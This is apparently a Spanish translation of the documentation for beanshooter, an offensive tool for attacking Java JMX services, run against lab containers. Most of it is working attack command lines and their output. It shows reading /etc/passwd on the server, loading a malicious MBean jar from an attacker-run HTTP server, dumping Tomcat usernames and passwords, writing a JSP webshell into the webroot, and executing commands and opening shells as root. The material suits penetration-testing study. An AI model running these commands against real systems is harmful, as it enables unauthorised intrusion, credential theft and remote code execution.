[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:////10.10.10.5/share/
Después, puedes subir el archivo jar exportado y el archivo index.html al servicio SMB y usar la acción de despliegue de beanshooters con la opción --stager-url file:////10.10.10.5/share/index.html.
La acción info enumera información de métodos y atributos del MBean especificado:```console
[qtc@devbox ~]$ beanshooter tomcat info 172.17.0.2 1090
[+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean
[+] ObjectName: Users:type=UserDatabase,database=UserDatabase
[+]
[+] Attributes:
[+] modelerType (type: java.lang.String , writable: false)
[+] readonly (type: boolean , writable: false)
[+] roles (type: [Ljava.lang.String; , writable: false)
[+] groups (type: [Ljava.lang.String; , writable: false)
[+] users (type: [Ljava.lang.String; , writable: false)
[+] pathname (type: java.lang.String , writable: true)
[+] writable (type: null , writable: false)
[+]
[+] Operations:
[+] java.lang.String findGroup(java.lang.String groupname)
[+] java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName)
[+] void removeGroup(java.lang.String groupname)
[+] void removeUser(java.lang.String username)
[+] void save()
[+] java.lang.String findRole(java.lang.String rolename)
[+] void removeRole(java.lang.String rolename)
[+] java.lang.String createGroup(java.lang.String groupname, java.lang.String description)
[+] java.lang.String findUser(java.lang.String username)
[+] java.lang.String createRole(java.lang.String rolename, java.lang.String description)
#### Generic Invoke
La acción `invoke` se puede usar para invocar un método arbitrario en el *MBean* especificado:```console
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabase
La acción stats lista información general sobre el MBean especificado. Esta es la información
que beanshooters almacena localmente sobre el MBean correspondiente y no se requiere interacción con el servidor.```console
[qtc@devbox ~]$ beanshooter tonka stats
[+] MBean: tonka
[+] Object Name: MLetTonkaBean:name=TonkaBean,id=1
[+] Class Name: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Jar File: available (tonka-bean-3.0.0-jar-with-dependencies.jar)
La información `Jar File` indica si una implementación del *MBean* correspondiente está integrada en *beanshooter*. Este archivo jar se utiliza durante el despliegue, si no se sobrescribe usando la opción `--jar-file`. Actualmente, *TonkaBean* es el único *MBean* que tiene un *Jar File* disponible.
#### Estado Genérico
La acción `status` verifica si el *MBean* correspondiente ya está disponible en el servicio *JMX*:```console
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployed
La acción undeploy elimina el MBean especificado de un servicio JMX remoto:```console [qtc@devbox ~]$ beanshooter tonka undeploy 172.17.0.2 9010 [+] Removing MBean with ObjectName MLetTonkaBean:name=TonkaBean,id=1 from the MBeanServer. [+] MBean was successfully removed.
### Diagnostic
---
El *DiagnosticCommandMBean* es un *MBean* útil que a menudo se despliega por defecto en servidores *JMX*.
Implementa varios métodos diferentes que son interesantes desde una perspectiva ofensiva. Algunos
de ellos están implementados como operaciones de *beanshooter*. Otros, por supuesto, pueden invocarse manualmente.
#### Lectura de Diagnóstico
La operación `read` puede utilizarse para leer archivos de texto en el servidor *MBean*. La operación emplea
el método `addCompilerDirective` para provocar una excepción que contiene el contenido del archivo de texto especificado:```console
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Esta técnica fue originalmente implementada por @TheLaluka dentro de jolokia-exploitation-toolkit.
La operación load puede usarse para cargar una biblioteca compartida desde el sistema de archivos del servidor JMX:```console
[qtc@devbox ~]$ beanshooter diagnostic load 172.17.0.2 1090 /lib/x86_64-linux-gnu/libc.so.6
[+] The server complained about the missing function Agent_OnAttach
[+] The specified library was loaded succesfully.
#### Archivo de registro de diagnóstico
La acción `logfile` se puede utilizar para cambiar la ubicación del archivo de registro de la *JVM*:```console
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.log
La acción nolog se puede usar para deshabilitar el registro (útil para cerrar el handle del archivo de log):```console
[qtc@devbox ~]$ beanshooter diagnostic nolog 172.17.0.2 1090
[+] Logging was disabled successfully.
#### Diagnostic Cmdline
La acción `cmdline` imprime el cmdline con el que se lanzó la *JVM*:```console
[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARD
La acción props imprime una lista de propiedades del sistema:```console
[qtc@devbox ~]$ beanshooter diagnostic props 172.17.0.2 1090
#Mon Jul 25 19:17:52 UTC 2022
com.sun.management.jmxremote.rmi.port=1099
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
...
### HotSpot
---
El *HotSpotDiagnosticMXBean* proporciona una interfaz para gestionar la *HotSpot Virtual Machine* y soporta algunos métodos que son útiles desde una perspectiva ofensiva.
#### HotSpot dump
La acción `dump` crea un heapdump y lo guarda en una ubicación arbitraria en el servidor de aplicaciones.
El único requisito es que el dump se guarde como un archivo con la extensión `.hprof`:```console
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.
La acción list imprime una lista de las Opciones de Diagnóstico disponibles y sus valores asociados:```console
[qtc@devbox ~]$ beanshooter hotspot list 172.17.0.2 1090
[+] HeapDumpBeforeFullGC (value = false, writable = true)
[+] HeapDumpAfterFullGC (value = false, writable = true)
[+] HeapDumpOnOutOfMemoryError (value = false, writable = true)
[+] HeapDumpPath (value = , writable = true)
...
#### HotSpot get
La acción `get` permite obtener el valor de la opción especificada:```console
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: true
La acción set permite establecer el valor de la opción especificada:```console
[qtc@devbox ~]$ beanshooter hotspot set 172.17.0.2 1090 HeapDumpBeforeFullGC true
[+] Option was set successfully.
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: true
[+] Writable: true
### MLet
---
El *MLetMBean* es un *MBean* bien conocido que se puede utilizar para cargar *MBeans* adicionales a través de la red. Ya se utiliza implícitamente en la acción `deploy` de *beanshooters*, pero también se puede invocar manualmente mediante la operación `mlet`.
#### Carga MLet
El único método *MLet* implementado actualmente es la operación `load`, que se puede utilizar para cargar una clase *MBean* desde una *URL* especificada por el usuario:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 3584de270132420aaf0812366bc46035
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /3584de270132420aaf0812366bc46035
[+] Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.
El ejemplo anterior demuestra cómo se puede cargar manualmente el TonkaBean usando la operación mlet. Si
en su lugar desea cargar un MBean personalizado, debe especificar la palabra clave custom en lugar de tonka y proporcionar
las opciones --class-name, --object-name y --jar-file:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar
[+] Starting MBean deployment.
[+] ...
[+] MBean was loaded successfully.
### Recoder
---
El *FlightRecorderMXBean* proporciona una interfaz para gestionar el *Flight Recorder*
y admite algunos métodos que son interesantes desde una perspectiva ofensiva.
#### Recoder new
La operación `new` inicia una nueva grabación. El ID de grabación devuelto se puede utilizar como destino
para otras operaciones:```console
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1
La acción start inicia una grabación ya existente y espera el ID de grabación como un argumento adicional:```console
[qtc@devbox ~]$ beanshooter recorder start 172.17.0.2 1090 1
[+] Recording with ID 1 started successfully.
#### Recoder dump
Mientras una grabación está activa, su contenido puede ser volcado usando la acción `dump`. Esto almacena la información de la grabación en un archivo de volcado en el *servidor JMX*:```console
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat
La acción stop se puede usar para detener una grabación:```console
[qtc@devbox ~]$ beanshooter recorder stop 172.17.0.2 1090 1
[+] Recording with ID 1 stopped successfully.
#### Guardado de la grabación
Después de detener una grabación, se puede guardar usando la acción `save`. En contraste con la acción `dump`,
esta guarda la grabación en la máquina local en lugar de en el servidor de la aplicación.```console
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.dat
La operación tomcat interactúa con el MemoryUserDatabaseMBean de Apache Tomcat. Este MBean proporciona acceso a cuentas
de usuario que están disponibles en un servicio Tomcat.
La acción dump vuelca los nombres de usuario y contraseñas disponibles en el servidor Tomcat en archivos locales.
Cuando se invoca con un solo argumento, las credenciales se vuelcan en formato <username>:<password>:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 creds.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/creds.txt
[qtc@devbox ~]$ cat creds.txt
manager:P@55w0rD#
admin:s3cr3T!$
status:[email protected]
Cuando se invoca con dos argumentos, los nombres de usuario se almacenan en la primera ubicación especificada, las contraseñas en la segunda:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txt
La operación list enumera las cuentas de usuario disponibles, sus roles y credenciales asociados:```console
[qtc@devbox ~]$ beanshooter tomcat list 172.17.0.2 1090
[+] Listing tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: status
[+] Password: [email protected]
[+] Roles:
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
#### Tomcat Write
La operación `write` escribe un archivo parcialmente controlado en una ubicación arbitraria en el servidor de aplicaciones. Esta acción se puede usar para desplegar de forma fiable un webshell en un servicio *Tomcat*:```console
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Current user database is at conf/tomcat-users.xml
[+] Current user database is readonly
[+] Adjusting readonly property to make it writable.
[+] Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Creating new role containing the local file content.
[+] Saving modified user database.
[+] Restoring readonly property.
[+] Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)
La acción write aprovecha un error de codificación dentro del UserDatabase MBean de Apache Tomcat. Reportamos
el error, pero no se consideró una vulnerabilidad de seguridad. Para escribir en ubicaciones arbitrarias, beanshooter
necesita cambiar la ubicación de la UserDatabase. Todos los cambios se restauran después de que se escriba el archivo deseado,
pero aún así tenga cuidado en entornos de producción.
El TonkaBean es un MBean personalizado que es implementado por el proyecto beanshooter y permite
acceso al sistema de archivos y ejecución de comandos en el servidor JMX. Sus acciones se pueden acceder
usando la operación tonka, seguida de la acción deseada.
La acción exec se puede usar para invocar un solo comando en el servicio JMX:```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 id
[+] Invoking the executeCommand method with argument: id
[+] The call was successful
[+]
[+] Server response:
uid=0(root) gid=0(root) groups=0(root)
El último argumento de la operación exec se espera que sea una cadena. Cuando no se usa la opción `--shell`, esta cadena se divide por espacios (reconociendo comillas) y se pasa como un arreglo a la clase `ProcessBuilder` en el lado del servidor.
Si se usó `--shell`, la cadena de shell especificada se divide por espacios y el arreglo resultante se une con la cadena de argumento especificada antes de pasarla a la clase `ProcessBuilder`. Esto permite una ejecución similar a la shell con caracteres especiales de shell correctamente interpretados:```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023b
Para mayor comodidad, los shells comunes se sufijan automáticamente con el argumento de cadena de comando requerido.
Por lo tanto, --shell ash se convierte automáticamente en --shell 'ash -c'.
La operación execarray es muy similar a la acción exec, pero en lugar de esperar una cadena como argumento
y dividir esta cadena en espacios para construir el arreglo de comandos, la operación execarray permite especificar
múltiples argumentos que se usan directamente como el arreglo de comandos para la clase ProcessBuilder:```console
[qtc@devbox ~]$ beanshooter tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOME
[+] The call was successful
[+]
[+] Server response:
/root
#### Tonka Shell
La acción `shell` genera un shell de comando donde puedes especificar comandos que se ejecutan en el servidor *JMX*. El shell no es completamente interactivo y solo representa un envoltorio alrededor del método `Runtime.exec` de *Javas*. Sin embargo, se implementa soporte básico para variables de entorno y un directorio de trabajo actual:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
example
El ejemplo anterior demuestra cómo establecer variables de entorno usando la palabra clave !env. Aparte de esta
palabra clave, varias otras están disponibles:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ !help
Available shell commands:
execute the specified command
cd
#### Tonka Upload
La acción `upload` se puede usar para subir un archivo al servidor *JMX*:```console
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.dat
La acción download se puede usar para descargar un archivo del servidor JMX:```console
[qtc@devbox ~]$ beanshooter tonka download 172.17.0.2 9010 /etc/passwd
[+] Saving remote file /etc/passwd to local path /home/qtc/passwd
[+] 1172 bytes were written to /home/qtc/passwd
### JMXMP
---
Los servicios *JMX* pueden usar diferentes tipos de conectores. El conector más utilizado con diferencia es *Java RMI*, que permite el acceso a *JMX* basado en el protocolo *Java RMI*. Otro conector popular es el *Protocolo de mensajes JMX* (*JMXMP*), que, a pesar de estar desactualizado, todavía se encuentra con bastante frecuencia. *beanshooter* tiene soporte *JMXMP* integrado e intenta conectarse a través de *JMXMP* cuando se usa la opción `--jmxmp`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server does not use SASL.
[+] Login is possible without specifying credentials.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] - 22 MBeans are currently registred on the MBean server.
[+] Found 0 non default MBeans.
Los endpoints JMXMP autenticados suelen protegerse mediante SASL. Con SASL habilitado, un endpoint JMX generalmente requiere que el cliente se conecte con un Perfil SASL específico. Los perfiles disponibles para beanshooter son:
Cada uno de ellos puede combinarse opcionalmente con TLS mediante el uso de la opción --ssl. Al usar la acción enum en un endpoint JMXMP protegido por SASL, beanshooter intenta enumerar el perfil SASL requerido. Mientras que determinar el mecanismo SASL requerido suele ser posible, la configuración TLS requerida no se puede enumerar:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4449 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/NTLM SASL profile.
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
### Soporte de Jolokia
---
A partir de *v4.0.0*, *beanshooter* admite endpoints JMX basados en [Jolokia](https://github.com/rhuss/jolokia). Establecer conexiones a un endpoint basado en *Jolokia* requiere el formato de destino habitual y la bandera `--jolokia`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] - Login successful! The specified credentials are correct.
[+] Username: manager - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] - Agent Version 1.7.1 - Protocol Version: 7.2
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] - Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 75 MBeans are currently registred on the MBean server.
[+] Listing 56 non default MBeans:
...
Debido al conjunto limitado de características de Jolokia, no todas las operaciones de beanshooter son compatibles. Consulte las Preguntas frecuentes sobre Jolokia si tiene alguna pregunta. Para experimentar con Jolokia, beanshooter proporciona un servidor de ejemplo que expone un endpoint de Jolokia en el puerto 8080. Además, se puede encontrar un endpoint regular de JMX basado en RMI en el puerto 1090.
Desde la versión v3.1.1, beanshooter también está disponible como imagen Docker y se puede descargar desde el Registro de Contenedores de GitHub. Para cada lanzamiento, hay una versión normal y una versión slim disponible. Ambas proporcionan una versión completamente funcional de beanshooter, pero solo la versión normal incluye ysoserial, lo que resulta en un tamaño de imagen mayor:
docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0 - 124MBdocker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim - 64.8MBTambién puede construir el contenedor por su cuenta ejecutando los siguientes comandos:```console [user@host ~]$ git clone https://github.com/qtc-de/beanshooter [user@host ~]$ cd beanshooter && docker build -t beanshooter .
### Example Server
---
La mayoría de los ejemplos presentados anteriormente se basan en [jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server)
y en [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server).
Estos servidores están contenidos en este repositorio en la carpeta [docker](https://github.com/qtc-de/beanshooter/blob/HEAD/docker) y se pueden usar para practicar la enumeración de *JMX*.
Puedes construir los contenedores correspondientes tú mismo o cargarlos directamente desde *GitHub Container Registry*.
Copyright 2023, Tobias Neitzel y los contribuyentes de *beanshooter*.